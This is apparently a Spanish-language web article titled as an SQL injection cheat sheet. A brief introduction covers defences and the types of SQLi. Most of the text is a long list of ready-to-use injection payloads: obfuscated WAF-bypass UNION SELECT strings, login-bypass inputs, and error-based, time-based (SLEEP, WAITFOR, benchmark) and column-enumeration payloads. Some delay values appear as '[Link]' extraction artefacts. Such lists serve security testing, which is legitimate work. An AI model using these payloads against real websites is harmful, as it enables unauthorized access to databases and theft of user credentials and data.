SQL INJECTION

Cuando hablamos de seguridad web, la Hoja de Trucos de Inyección SQL es un tema que sin
duda querrás entender. Piénsalo como un manual detallado. Para quienes buscan
vulnerabilidades en un sitio web, esta hoja de trucos describe todo tipo de técnicas, o
"cargas útiles", que pueden usar. Muestra cómo crear entradas específicas que engañen al
sitio web para que ejecute código SQL malicioso.

¿Por qué es importante? Bueno, si un atacante usa con éxito la inyección SQL, podría eludir
las pantallas de inicio de sesión, robar información confidencial como nombres de usuario,
contraseñas o incluso información financiera, o manipular los datos del sitio. En casos
extremos, ¡incluso podría obtener el control total de la base de datos del sitio web!

A menudo verás gente buscando cosas como "ejemplos de inyección SQL" o "cómo prevenir
la inyección SQL". Esto resalta la importancia de comprender cómo funcionan estos ataques
y, aún más importante, cómo detenerlos.

Si bien estas hojas de trucos son muy útiles para que los profesionales de la seguridad
prueben sitios web, también sirven como una llamada de atención para los desarrolladores.
Es un recordatorio de que necesitamos crear aplicaciones web seguras desde el principio.

Entonces, ¿cuáles son las claves para protegerse contra la inyección SQL? Aquí tienes
algunas prácticas recomendadas que los expertos en seguridad suelen recomendar:

Protecciones Clave Contra la Inyección SQL

Consultas Parametrizadas y Sentencias Preparadas: Esta es probablemente la defensa más

crucial. En lugar de insertar directamente la entrada del usuario en las consultas SQL, se
utilizan marcadores de posición. La base de datos entiende que la entrada del usuario son
datos, no código ejecutable. Es como decirle a la base de datos: "Este es el valor de un
campo, no parte del comando en sí".

Validación y Sanitización de Entradas: Esto implica revisar y limpiar cuidadosamente

cualquier dato que los usuarios envíen. Es recomendable usar un enfoque de "lista blanca",
lo que significa que solo se permiten tipos específicos de caracteres o formatos. Si algo no
cumple con las reglas estrictas, se rechaza.

Procedimientos Almacenados: Son sentencias SQL precompiladas que se almacenan en la

base de datos. Al llamar a un procedimiento almacenado, la base de datos sabe
exactamente qué consulta ejecutar y la entrada del usuario se pasa como parámetros, lo
que dificulta considerablemente la inyección de código malicioso. Principio de Mínimo
Privilegio: Al configurar cuentas de base de datos para su sitio web, asegúrese de que solo
tengan los permisos mínimos necesarios para su funcionamiento. Por ejemplo, si su sitio
web solo necesita leer datos, no le permita eliminarlos ni modificarlos.

Firewalls de Aplicaciones Web (WAF): Un WAF actúa como un escudo frente a su aplicación
web. Puede detectar y bloquear tráfico sospechoso, incluyendo muchos intentos comunes
de inyección SQL, incluso antes de que lleguen a su aplicación.

Consulte también: Pruebas de Inyección SQL con SQLMAP

Antes de hablar sobre la Hoja de Referencia de Inyección SQL, revise sus tipos, como se
indica a continuación.

Tipos de inyección SQL

• SQLi en banda In-band SQLi (SQLi clásico)

La inyección SQL en banda es el ataque de inyección SQL más común y fácil de explotar. Se
produce cuando un atacante utiliza el mismo canal de comunicación para lanzar el ataque y
obtener resultados. Los dos tipos más comunes de inyección SQL en banda son la SQLi
basada en errores y la SQLi basada en unión.

• SQLi basado en errores (Error-based)

La SQLi basada en errores es una técnica de inyección SQL en banda que se basa en los
mensajes de error emitidos por el servidor de bases de datos para obtener información
sobre la estructura de la base de datos. En algunos casos, la inyección SQL basada en errores
es suficiente para que un atacante enumere una base de datos completa.

• SQLi basado en unión (Union-based SQLi)

La SQLi basada en unión es una técnica de inyección SQL en banda que utiliza el operador
SQL UNION para combinar los resultados de dos o más sentencias SELECT en un único
resultado que se devuelve como parte de la respuesta HTTP.

• SQLi inferencial (SQLi ciego) Inferential SQLi (Blind SQLi)

La inyección SQL inferencial, a diferencia del SQLi en banda, puede tardar más en ser
explotada por un atacante; sin embargo, es tan peligrosa como cualquier otra forma de
inyección SQL. En un ataque SQLi inferencial, no se transfieren datos a través de la aplicación
web y el atacante no podría ver el resultado de un ataque en banda (razón por la cual estos
ataques se conocen comúnmente como "ataques de inyección SQL ciegos").

En cambio, un atacante puede reconstruir la estructura de la base de datos mediante el

envío de cargas útiles, observando la respuesta de la aplicación web y el comportamiento
resultante del servidor de bases de datos. Los dos tipos de inyección SQL inferencial son el
SQLi basado en booleanos ciegos y el SQLi basado en tiempo ciego.

• Basado en booleanos (basado en contenido) Boolean-based (content-based)

La inyección SQL basada en booleanos es una técnica de inyección SQL inferencial que se
basa en el envío de una consulta SQL a la base de datos, lo que obliga a la aplicación a
devolver un resultado diferente según si la consulta devuelve un resultado VERDADERO o
FALSO. Dependiendo del resultado, el contenido de la respuesta HTTP cambiará o
permanecerá igual. Esto permite a un atacante inferir si la carga útil utilizada devolvió
verdadero o falso, incluso si no se devuelven datos de la base de datos.

• SQLi ciega basada en tiempo (Time-based Blind SQLi)

La inyección SQL basada en tiempo es una técnica de inyección SQL inferencial que se basa
en el envío de una consulta SQL a la base de datos, lo que la obliga a esperar un tiempo
específico (en segundos) antes de responder. El tiempo de respuesta indica al atacante si el
resultado de la consulta es VERDADERO o FALSO. Dependiendo del resultado, se devolverá
una respuesta HTTP con retraso o inmediatamente. Esto permite a un atacante inferir si la
carga útil utilizada devolvió verdadero o falso, incluso si no se devuelven datos de la base de
datos.

• SQLi fuera de banda (Out-of-band SQLi)

La inyección SQL fuera de banda no es muy común, principalmente porque depende de las
funciones habilitadas en el servidor de base de datos que utiliza la aplicación web. La
inyección SQL fuera de banda ocurre cuando un atacante no puede usar el mismo canal para
lanzar el ataque y obtener resultados. Las técnicas fuera de banda ofrecen al atacante una
alternativa a las técnicas inferenciales basadas en el tiempo, especialmente si las respuestas
del servidor no son muy estables (lo que hace que un ataque inferencial basado en el tiempo
sea poco fiable).

• Inyección SQL basada en voz (Voice Based Sql Injection)

Es un método de ataque de inyección SQL que puede aplicarse en aplicaciones que

proporcionan acceso a bases de datos mediante comandos de voz. Un atacante podría
extraer información de la base de datos enviando consultas SQL con sonido.

Vea también: ¿Cómo podemos bloquear los ataques web comunes?

[ACTUALIZACIÓN]
Hoja de referencia para nuevas cargas útiles de inyección SQL
• /*!50000un0x696fn*/+/*!12345AlL*/(/*!50000se0x6c65ct*/+1)
• /*!50000%75%6e%69on*/ %73%65%6cect 1
• /*!12345UnioN*//**/(/*!12345seLECT*//**/1)
• /*!12345#qa%0A#%0AUnIOn*/(/*!12345#qa%0A#%0ASeleCt*//**/1)
• {“param”:”1′)))+MySQL_payload–+-“}

Omisión de autenticación SQLi por @Spidersec

• username: ‘–‘ / “–”
• Password: ‘–‘ / “–”

Hoja de trucos para la inyección SQL genérica

• ‘
”
`
“
,
”
“”
/
//
\
\\
;
‘ or ”
— or #
‘ OR ‘1
‘ OR 1 — –
” OR “” = ”
” OR 1 = 1 — –
‘ OR ” = ‘
‘=’
‘LIKE’
‘=0–+
OR 1=1
‘ OR ‘x’=’x
‘ AND id IS NULL; —
””””””’UNION SELECT ‘2
%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
• @variable local variable
@@variable global variable
• # Numeric | SQL Injection Cheatsheet
AND 1
AND 0
 AND true
AND false
1-false
1-true
1*56
-2
• 1′ ORDER BY 1–+
1′ ORDER BY 2–+
1′ ORDER BY 3–+
• 1′ ORDER BY 1,2–+
1′ ORDER BY 1,2,3–+
• 1′ GROUP BY 1,2,–+
1′ GROUP BY 1,2,3–+
‘ GROUP BY columnnames having 1=1 —
• -1’ UNION SELECT 1,2,3–+
‘ UNION SELECT sum(columnname ) from tablename —
• -1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
• 1 AND (SELECT * FROM Users) = 1
• ‘ AND MID(VERSION(),1,1) = ‘5’;
• ‘ and 1 in (select min(name) from sysobjects where xtype = ‘U’ and name > ‘.’) —

Finding the table name

• Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
‘;WAITFOR DELAY ‘[Link]’–

Comments:
• # Hash comment
/* C-style comment
— – SQL comment
;%00 Nullbyte
` Backtick

Generic Error Based Payloads | SQL Injection Cheatsheet

• OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1–
OR 1=0–
OR x=x–
OR x=y–
OR 3409=3409 AND (‘pytW’ LIKE ‘pytW
OR 3409=3409 AND (‘pytW’ LIKE ‘pytY
HAVING 1=1
HAVING 1=0
HAVING 1=1#
HAVING 1=0#
HAVING 1=1–
HAVING 1=0–
AND 1=1
AND 1=0
AND 1=1–
AND 1=0–
AND 1=1#
AND 1=0#
AND 1=1 AND ‘%’=’
AND 1=0 AND ‘%’=’
AND 1083=1083 AND (1427=1427
AND 7506=9091 AND (5913=5913
AND 1083=1083 AND (‘1427=1427
AND 7506=9091 AND (‘5913=5913
AND 7300=7300 AND ‘pKlZ’=’pKlZ
AND 7300=7300 AND ‘pKlZ’=’pKlY
AND 7300=7300 AND (‘pKlZ’=’pKlZ
AND 7300=7300 AND (‘pKlZ’=’pKlY
AS INJECTX WHERE 1=1 AND 1=1
AS INJECTX WHERE 1=1 AND 1=0
AS INJECTX WHERE 1=1 AND 1=1#
AS INJECTX WHERE 1=1 AND 1=0#
AS INJECTX WHERE 1=1 AND 1=1–
AS INJECTX WHERE 1=1 AND 1=0–
WHERE 1=1 AND 1=1
WHERE 1=1 AND 1=0
WHERE 1=1 AND 1=1#
WHERE 1=1 AND 1=0#
WHERE 1=1 AND 1=1–
WHERE 1=1 AND 1=0–
ORDER BY 1–
ORDER BY 2–
ORDER BY 3–
ORDER BY 4–
ORDER BY 5–
ORDER BY 6–
ORDER BY 7–
ORDER BY 8–
ORDER BY 9–
ORDER BY 10–
ORDER BY 11–
ORDER BY 12–
ORDER BY 13–
ORDER BY 14–
ORDER BY 15–
ORDER BY 16–
ORDER BY 17–
ORDER BY 18–
ORDER BY 19–
ORDER BY 20–
ORDER BY 21–
ORDER BY 22–
ORDER BY 23–
ORDER BY 24–
ORDER BY 25–
ORDER BY 26–
ORDER BY 27–
ORDER BY 28–
ORDER BY 29–
ORDER BY 30–
ORDER BY 31337–
ORDER BY 1#
ORDER BY 2#
ORDER BY 3#
ORDER BY 4#
ORDER BY 5#
ORDER BY 6#
ORDER BY 7#
ORDER BY 8#
ORDER BY 9#
ORDER BY 10#
ORDER BY 11#
ORDER BY 12#
ORDER BY 13#
ORDER BY 14#
ORDER BY 15#
ORDER BY 16#
ORDER BY 17#
ORDER BY 18#
ORDER BY 19#
ORDER BY 20#
ORDER BY 21#
ORDER BY 22#
ORDER BY 23#
ORDER BY 24#
ORDER BY 25#
ORDER BY 26#
ORDER BY 27#
ORDER BY 28#
ORDER BY 29#
ORDER BY 30#
ORDER BY 31337#
ORDER BY 1
ORDER BY 2
ORDER BY 3
ORDER BY 4
 ORDER BY 5
ORDER BY 6
ORDER BY 7
ORDER BY 8
ORDER BY 9
ORDER BY 10
ORDER BY 11
ORDER BY 12
ORDER BY 13
ORDER BY 14
ORDER BY 15
ORDER BY 16
ORDER BY 17
ORDER BY 18
ORDER BY 19
ORDER BY 20
ORDER BY 21
ORDER BY 22
ORDER BY 23
ORDER BY 24
ORDER BY 25
ORDER BY 26
ORDER BY 27
ORDER BY 28
ORDER BY 29
ORDER BY 30
ORDER BY 31337
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND ‘Txws’=’
RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND ‘Txws’=’
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl–
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl–
%’ AND 8310=8310 AND ‘%’=’
%’ AND 8310=8311 AND ‘%’=’
and (select substring(@@version,1,1))=’X’
and (select substring(@@version,1,1))=’M’
and (select substring(@@version,2,1))=’i’
and (select substring(@@version,2,1))=’y’
and (select substring(@@version,3,1))=’c’
and (select substring(@@version,3,1))=’S’
and (select substring(@@version,3,1))=’X’

Generic Time Based SQL Injection Cheatsheet Payloads

• # from wapiti
sleep(5)#
1 or sleep(5)#
” or sleep(5)#
‘ or sleep(5)#
” or sleep(5)=”
‘ or sleep(5)=’
1) or sleep(5)#
“) or sleep(5)=”
‘) or sleep(5)=’
1)) or sleep(5)#
“)) or sleep(5)=”
‘)) or sleep(5)=’
;waitfor delay ‘[Link]’–
);waitfor delay ‘[Link]’–
‘;waitfor delay ‘[Link]’–
“;waitfor delay ‘[Link]’–
‘);waitfor delay ‘[Link]’–
“);waitfor delay ‘[Link]’–
));waitfor delay ‘[Link]’–
‘));waitfor delay ‘[Link]’–
“));waitfor delay ‘[Link]’–
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
” or benchmark(10000000,MD5(1))#
‘ or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
“) or benchmark(10000000,MD5(1))#
‘) or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
“)) or benchmark(10000000,MD5(1))#
‘)) or benchmark(10000000,MD5(1))#
pg_sleep(5)–
1 or pg_sleep(5)–
” or pg_sleep(5)–
‘ or pg_sleep(5)–
1) or pg_sleep(5)–
“) or pg_sleep(5)–
‘) or pg_sleep(5)–
1)) or pg_sleep(5)–
“)) or pg_sleep(5)–
‘)) or pg_sleep(5)–
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND ‘vRxe’=’vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND ‘%’=’
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)–
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)–
SLEEP(5)=”
SLEEP(5)=’
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)–
or SLEEP(5)=”
or SLEEP(5)=’
waitfor delay ’[Link]′
waitfor delay ’[Link]′–
waitfor delay ’[Link]’#
 benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))–
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))–
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)–
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)–
or pg_SLEEP(5)#
‘\”
AnD SLEEP(5)
AnD SLEEP(5)–
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)–
&&SLEEP(5)#
‘ AnD SLEEP(5) ANd ‘1
‘&&SLEEP(5)&&’1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)–
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)–
+benchmark(3200,SHA1(1))+’
+ SLEEP(10) + ‘
RANDOMBLOB(500000000/2)
AND 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*’ or SLEEP(1) or ‘” or SLEEP(1) or “*/

Generic Union Select Payloads | SQL Injection Cheatsheet

ORDER BY SLEEP(5)
ORDER BY 1,SLEEP(5)
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’))
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3
0
ORDER BY SLEEP(5)#
ORDER BY 1,SLEEP(5)#
ORDER BY 1,SLEEP(5),3#
ORDER BY 1,SLEEP(5),3,4#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3
0#
ORDER BY SLEEP(5)–
ORDER BY 1,SLEEP(5)–
ORDER BY 1,SLEEP(5),3–
ORDER BY 1,SLEEP(5),3,4–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24–
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25–
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26–
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27–
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28–
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29–
ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3
0–
UNION ALL SELECT 1
UNION ALL SELECT 1,2
UNION ALL SELECT 1,2,3
UNION ALL SELECT 1,2,3,4
UNION ALL SELECT 1,2,3,4,5
UNION ALL SELECT 1,2,3,4,5,6
UNION ALL SELECT 1,2,3,4,5,6,7
UNION ALL SELECT 1,2,3,4,5,6,7,8
UNION ALL SELECT 1,2,3,4,5,6,7,8,9
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
UNION ALL SELECT 1#
UNION ALL SELECT 1,2#
UNION ALL SELECT 1,2,3#
UNION ALL SELECT 1,2,3,4#
UNION ALL SELECT 1,2,3,4,5#
UNION ALL SELECT 1,2,3,4,5,6#
UNION ALL SELECT 1,2,3,4,5,6,7#
UNION ALL SELECT 1,2,3,4,5,6,7,8#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
